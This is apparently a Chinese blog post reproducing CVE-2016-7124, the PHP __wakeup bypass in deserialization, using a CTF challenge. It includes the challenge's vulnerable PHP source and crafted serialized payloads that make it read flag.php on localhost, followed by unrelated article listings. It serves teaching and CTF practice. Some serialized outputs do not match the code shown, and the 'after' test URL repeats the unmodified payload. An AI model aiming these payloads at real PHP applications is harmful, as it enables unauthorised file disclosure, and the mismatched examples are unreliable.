前言

最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了!

预备知识

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基础

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

<?php
class test{
public $name = 'xiaohua';
private $address = 'shanxi';
protected $age = '21';
} $test1 = new test();
$object = serialize($test1);
print_r($object);
?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发

CVE-2016-7124(绕过__wakeup)复现

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

<?php
//听说flag在flag.php里面??????
//来源:榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
class sercet{
private $file='index.php';
// __construc 每次创建新对象时调用,所以__construct非常适合做初始化
public function __construct($file){
echo "_construct执行<br>";
$this->file=$file;
}
//析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
function __destruct(){
echo " __destruct执行<br>";
// echo show_source($this->file,true);
echo @highlight_file($this->file, true);
} //unserialize()先检查__wakeup是否存在,则会先调用__wakeup
function __wakeup(){
echo "__wakeup执行<br>";
$this->file='index.php';
}
} unserialize($_GET['val']);

我们分析这道CTF题,题目告知我们说flag好像在flag.php中  又看到页面爆出这个源码 我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化

首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:

$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

在传递的时候切记根据private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

我们注意观察 __wakeup这个函数执行了它里面的这段$this->file='index.php';代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

我们只需要把对象原来属性值比原来的大就行我们把1改成2

修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";} 

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现的更多相关文章

  1. WebLogic反序列化漏洞(CVE-2019-2725补丁绕过)

    影响产品: Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 影响组件: wls9_async_response.wa ...

  2. 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞

    近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...

  3. php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...

  4. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  5. [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}

    先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...

  6. fastjson反序列化漏洞历史CVE学习整理

    fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...

  7. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  8. PHP反序列化漏洞研究

    序列化 序列化说通俗点就是把一个对象变成可以传输的字符串 php serialize()函数 用于序列化对象或数组,并返回一个字符串.序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结 ...

  9. 浅谈php反序列化漏洞

    关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...

随机推荐

  1. 构造函数原理 - Js对象

    构造函数内部原理 有new之后,函数变成构造函数,产生三步隐式变化 1.函数执行,在函数体顶端隐式加上var this = {}; 2.执行赋值,AO{ this : {name:'zhangsan' ...

  2. 第三章 MySQL的多实例

    一.MySQL服务构成 1.MySQL程序结构 1.连接层 2.sql层 3.存储引擎层 2.MySQL逻辑结构 1.库 2.表:元数据+真实数据行 3.元数据:列+其它属性(行数+占用空间大小+权限 ...

  3. 微信小程序picker组件两列关联使用方式

    在使用微信小程序picker组件时候,可以设置属性   mode = multiSelector   意为多列选择,关联选择,当第一列发生改变时侯,第二列甚至第三列发生相应的改变.但是官方文档上给的只 ...

  4. SpringBoot+Mybatis_Plus Generator

    AutoGenerator 是 MyBatis-Plus 的代码生成器,通过 AutoGenerator 可以快速生成 Entity.Mapper.Mapper XML.Service.Control ...

  5. ES6--数组部分基础知识

    数组Array的相关方法 1.Array.from()方法 Array.from方法用于将两类对象转为真正的数组:类似数组的对象(array-like object)和可遍历(iterable)的对象 ...

  6. Java学习的第二十一天

    1.综合实例 error异常:error指的是错误,通常是程序员不可能通过代码来解决的问题,底层环境或硬件问题,也就是说在程序中用户不用捕获error及任何error子类的异常. exception指 ...

  7. Viper 微服务框架 编写一个hello world 插件-02

    1.Viper是什么? Viper 是.NET平台下的Anno微服务框架的一个示例项目.入门简单.安全.稳定.高可用.全平台可监控.底层通讯可以随意切换thrift grpc. 自带服务发现.调用链追 ...

  8. python给图片添加文字

    如何用几行代码给图片加上想要的文字呢? 下面为大家说下实现过程. 关注公众号 "轻松学编程"了解更多. 有图如下,想添加自写的诗句 诗句 静安心野 朝有赤羽暮落霞, 小舟载我湖旋停 ...

  9. python模块导入(包)

    模块 关注公众号"轻松学编程"了解更多. 1.1. 模块的概述 ​ 在计算机程序的开发过程中,随着程序代码越写越多,在一个文件里的代码就会越来越长,越来越不容易维护. 为了编写可维 ...

  10. redhat 7.4从openssh7.6离线升级openssh8.4p1解决方法

    具体需求 这几天生产环境服务器又进行了安全扫描,每次都会报一下漏洞错误.虽然只有一个高危问题,但是每次看到ssh远程漏洞都很烧脑 "主要是里面坑太多了",闲话就不说了,今天我们来看 ...